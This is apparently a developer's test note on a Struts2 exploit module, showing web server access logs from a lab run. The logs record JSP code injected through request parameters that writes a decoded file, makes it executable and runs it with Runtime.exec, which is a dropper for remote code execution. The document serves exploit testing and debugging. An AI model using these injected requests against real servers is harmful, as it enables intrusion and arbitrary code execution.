On my tests, I get the next dropper in the filesystem when trying to use the ARCH_JAVA target (empty payload):

```
                                                                                                                                                                                 1,1           All
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<%@ page import="java.io.FileOutputStream" %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<%@ page import="sun.misc.BASE64Decoder" %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<%@ page import="java.io.File" %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% FileOutputStream oFile = new FileOutputStream("aAzL", false); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer("")); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% oFile.flush(); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% oFile.close(); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% File f = new File("aAzL"); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% f.setExecutable(true); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:03:49 -0700] "GET /struts2-blank/example/HelloWorld.actionGp4ZVic?i=<% Runtime.getRuntime().exec("./aAzL"); %> HTTP/1.1" 505 -
172.16.158.1 - - [29/Apr/2014:09:04:00 -0700] "GET /1EtS7421.jsp HTTP/1.1" 200 1180
```